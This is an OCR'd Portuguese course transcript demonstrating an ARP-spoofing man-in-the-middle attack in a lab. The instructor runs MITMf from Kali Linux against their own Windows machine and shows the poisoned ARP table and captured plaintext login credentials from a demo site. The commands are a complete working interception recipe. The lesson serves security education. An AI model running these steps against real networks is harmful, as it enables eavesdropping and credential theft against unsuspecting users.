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Mitm ataque

Transcricdo

Realizaremos agora o ataque man-in-the-middle. No Kali Linux, desligaremos a maquina do hacker, para poder conecta-
la ao switch do programa do GNS3 e fazermos a emulacgo. Precisamos reconfigurar a placa de rede, pois estamos

usando a do VirtualBox para conectd-lo ao switch. Mas agora queremos colocar essa maquina virtual na nossa rede,

para que possamos fazer os testes direto na minha maquina.

Clicaremos em Configuragdes , e, dentro da janela que se abrird, em Rede . Na opcio Conectado a mudaremos de

Placa de rede exclusiva de hospedeiro (host-only) para Placa em modo Bridge . E como se fizéssemos uma extensio

do computador, uma ponte (bridge) para conectar a maquina do hacker.
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Depois de clicar em 0k , podemos iniciar a maquina do hacker.
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0 Kali Linux tem um tempo de boot um pouco longo, mas assim que ele terminar faremos o login com o usuario root e

asenha toor . Antes de comecgarmos o ataque em si, precisaremos mudar a configuracgéo do teclado, pois ele vem no

padrao americano.

Clicaremos na setinha localizada no canto direito superior da tela inicial do Kali Linux, e no simbolo de configuracdes.
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3 Kali-Linux-2016.2-vbox-amdé4 [Executando) - Oracle VM VirtualBox

Arquivo Dispositivos  Ajuda

Maquina Visualizar  Entrada

Applications v~  Places =

A seguir, escolheremos Region & Language .
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Caso essa opcao ndo apareca para vocé, basta clicar no simbolo de + , e nas reticéncias dentro da janela que se abrird.

Input Sources
Portuguese (Brazil)

English (US)

| Cancel Add an Input Source -

Arabic (Egypt)
Chinese (China)
English (United Kingdom)
English (United States)
French (France)
German (Germany)
Japanese
Russian (Russian Federation)

Spanish (Spain)

E entdo, digitar Portuguese na barra de busca que aparecerad. E, finalmente, selecionar Portuguese (Brazil) .

| Cancel Add an Input Source

Portuguese (Brazil)

Portuguese (Portugal)

[ Q Portugu|

Entfo, ele aparecera na tela inicial de Region & Language . Como ndo estamos usando o padrdo americano, podemos

clicar em English (US) enosinalde - .
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Input Sources

Portuguese (Brazil)

English (US)

Agora precisamos instalar a ferramenta que fard o ataque MITM para nds. Ela se chama MITMF : man-in-the-middle

framework. Assim, usaremos o seguinte comando no terminal:

root@kali:~# apt-get-install mitmf

Ao darmos Enter , ele faz a instalac@o para nos.

root@kali:~# apt-get-install mitmf

Reading package lists... Done

Building dependency tree

Reading state information... Done

mitmf is already the newest version (0.9.8-0kalil).

0 upgraded, @ newly intalled, © to remove and @ not upgraded.

No meu caso, como vocés podem ver, ja estava instalado. Para vocés bastara confirmar a instalacéo pressionando vy .

Assim podemos comecar o ataque propriamente dito. O objetivo é alterar os parametros da tabela ARP do computador

da vitima e do roteador. Isso se chama "envenenamento da tabela ARP" ou "ARP spoofing". Para utilizar esse framework,

usaremos o mitmf , que serd do tipo --arp e --spoof . Precisamos falar também qual € o alvo, colocando --target e o

IP correspondente. Assim:

root@kali"~# mitm --arp --spoof --target

O meu target é o computador fisico que estou usando. Vou conferir seu IP no prompt de comando, usando o ipconfig .

C:\Users\Alura\ipconfig

Configuracdo de IP do Windows

Adaptador Ethernet Ethernet:

Sufixo DNS especifico de conexdo......:

Endereco IPv6 de link local...........: fe80::a570:8e82:c046:fd%2
Endereco IPVA......coiiviiivenneeenn.t 192.168.121.171

Mascara de Sub-rede...................: 255.255.255.0

Gateway Padrao.......ccoiiiiiiininnnnn. :192.168.121.1

Vemos entdo que o IP que precisamos é 192.168.121.171 . Podemos entdo copiar e colar no Kali Linux:

root@kali"~# mitm --arp --spoof --target 192.168.121.171
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Também precisamos especificar o --gateway , 0 endereco IP do roteador. Nas informacdes que conseguimos no promp

de comando do Windws, ele aparece como Gateway Padrdo . E o nlimero 192.168.121.1 .

root@kali"~# mitm --arp --spoof --target 192.168.121.171 --gateway 192.168.121.1

O Kali Linux ainda precisa ser informado de qual interface serd usada, como fizemos com switch. Quando fizemos o

ataque de overflow, tinhamos que falar a interface de ataque que escolhemos.

root@kali"~# mitm --arp --spoof --target 192.168.121.171 --gateway 192.168.121.1 -i ethe

Com essas informacdes, j4 poderiamos comegar o ataque. Mas antes disso, vamos dar uma olhada em como estd a

tabela ARP do computador que vamos atacar. Em seu prompt de comando:

C:\Users\Aluralarp - a

Interface: 192.168.121.171 ---0x2

Endereco IP Endereco fisico Tipo

192.168.121.1 90-f6-52-33-5e-32 dinamico
192.168.121.113 00-21-5d-86-93-86 dinamico
192.168.121.131 10-21-5d-86-93-86 dinamico
192.168.121.172 08-00-27-27-06-d4 dinamico
192.168.121.255 ff-ff-ff-ff-ff-ff estatico
224.0.02 01-00-5e-00-00-02 estatico

Pelo IP, sabemos que a primeira linha é referente ao roteador, que esta mapeado com o endereco mac 90-f6-52-33-5e-
32 . Espera-se que, ao executarmos o comando mitm , essa tabela seja alterada e o endereco mac seja substituido pelo
do Kali Linux. Desta forma, o hacker conseguira enganar tanto a vitima quanto o roteador, se estabelecendo no meio de

sua comunicacdo. Vamos finalmente executar o mitm :

{1 Kali-Linux-2016.2-vbox-amd64 [Executando] - Oracle VM VirtualBox
Entrada Di

Ajuda

root@kali: ~

File Edit View Search Terminal Help
# mitmf --arp --spoof --target 192.168.121.171 --gateway 192.168.121.1 -i eth®

MITMF

*] MITMf v0.9.8 - 'The Dark Side'
Spoof v0O.6
| ARP spoofing enabled

Sergio-Proxy v0.2.1 online
SSLstrip v0.9 by Moxie Marlinspike online

Net-Creds v1.0 online

MITMf-API online

Running on http://127.0.0.1:9999/ (Press CTRL+C to quit)
HTTP server online

DNSChef v0.4 online

SMB server online

[
|
|
|
|
|
|
|
|
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Em uma dessas linhas temos ARP spoofing enabled . O ataque ja comegou. Voltemos ao prompt do Windows para

verificar se houve alguma mudanga na tabela.

C:\Users\Aluralarp - a

Interface: 192.168.121.171 ---0x2

Endereco IP Endereco fisico Tipo

192.168.121.1 08-00-27-27-06-d4 dinamico
192.168.121.113 00-21-5d-86-93-86 dinamico
192.168.121.131 10-21-5d-86-93-86 dinamico
192.168.121.172 08-00-27-27-06-d4 dinamico
192.168.121.255 ff-ff-ff-ff-ff-ff estatico
224.0.02 01-00-5e-00-00-02 estatico

0 enderego mac referente ao roteador estd diferente. Vamos verificar se esse é realmente o endereco mac do Kali

Linux? Abriremos outra janela de terminal e usaremos ifconfig :

root@kali:~# ifcongif

etho: flags=4163<UP, BROADCAST, RUNNIN, MULTICAST> mtu 1500

inet 192.168.1221.172 netmask 255.255.255.0 broadcast 192.168.121
inet6 fe80::a00:27ff:fe27:6d4 prefixlen 64 scopeid ©x20<link>

ether 08:00:27:27:06:d4 txqueuelen 1000 (Ethernet)

RX packets 192 bytes 46058 (44.9 KiB)

RX errors © dropped @ overruns @ frame ©

TX packets 240 bytes 64995 (63.4 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions ©

A resposta estd em ether 08:00:27:27:06:d4 , que realmente corresponde ao que estd na tabela ARP do computador da

vitima. Conseguimos envenenar essa tabela, para que ele acredite que o roteador tem o IP do hacker, que conseguira

colher todas as informacdes que a vitima acessar.

Lembra que comentamos que a vitima queria acessar o site da Uol? Ela vai fazer isso agora.

UOL - O melhor conteluc X

< X | ® www.uol.com.br

A f w BOL UOL HOST PAGSEGURO CURSOS +PRODUTOS

Ainda ndo tem um e-mail UOL? Crie o seu

Ddlar - RS 3,436

UOL MAIL Entrar

ASSINE SAC BATE-PAPO NOTICIAS CARROS ECONOMIA FOLHA ESPORTE ENTRETENIMENTO TV EFAMOSOS

I Projeto de reforma da Previdéncia
Trabalhador teria de contribuir 49 anos
para receber 100% da aposentadoria

L Governo quer piso de 65 anos de idade e 25 de contribuicao & 83

I L ldade minima para aposentadoria deve subir a 67 anos até 2060 E¥ 99
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Sera que o hacker consegue ver esse acesso? Abriremos o prompt do Kali Linux:

2016-12-06 11:28:24 192.168.121.171 [type:Other-Other os:0ther] tile-service.weather.microsoft.
2016-12-06 11:28:24 192.168.121.171 [type:Other-0Other os:0ther] cdn.content.prod.cms..msn.com
2016-12-06 11:30:03 192.168.121.171 [type:Chrome-54 os:Windows] www.uol.com.br

2016-12-06 11:30:04 192.168.121.171 [type:Chrome-54 os:Windows] hp.imguol.com.br

Conseguimos ver que a vitima acessou o site da Uol mais facilmente que com a andlise de protocolo do WireShark.

Vamos acessar aquela pagina de cadastro que acessamos no outro teste?

“  Livro de Java, Android, iIF X = [u]

= X | @ exemplo-login-fraco-alura.herokuapp.com/login 1Y,

Login

joac@meudominio.com br

Enquanto isso, o hacker esta de olho em tudo o que a vitima faz.

2016-12-06 11:30:54 192.168.121.171 [type:Chrome-54 os:Windows] exemplo-login-fraco-alura.heroki
2016-12-06 11:31:01 192.168.121.171 [type:Chrome-54 os:Windows] POST Data (exemplo-login-fraco-:
username=joao%40@meudominio.com.br&password=123456&_ csr{=02f88368-19e7-4408-a2c4-74e6f4fd39ed

Conseguimos ver o login e a senha do Jodo muito facilmente. Novamente, aqui foi mais facil do que no WireShark, em

que precisamos abrir o protocolo e procurar essas informacoes em seu form .

Mas ainda temos o problema do protocolo HTTPS , que tem uma camada de criptografia. Desta forma, deveriamos
conseguir o usudrio e a senha da vitima. A seguir, veremos como tentar contornar esse problema e fazer a vitima

acessar um site que ela néo escolheu. Até 14!
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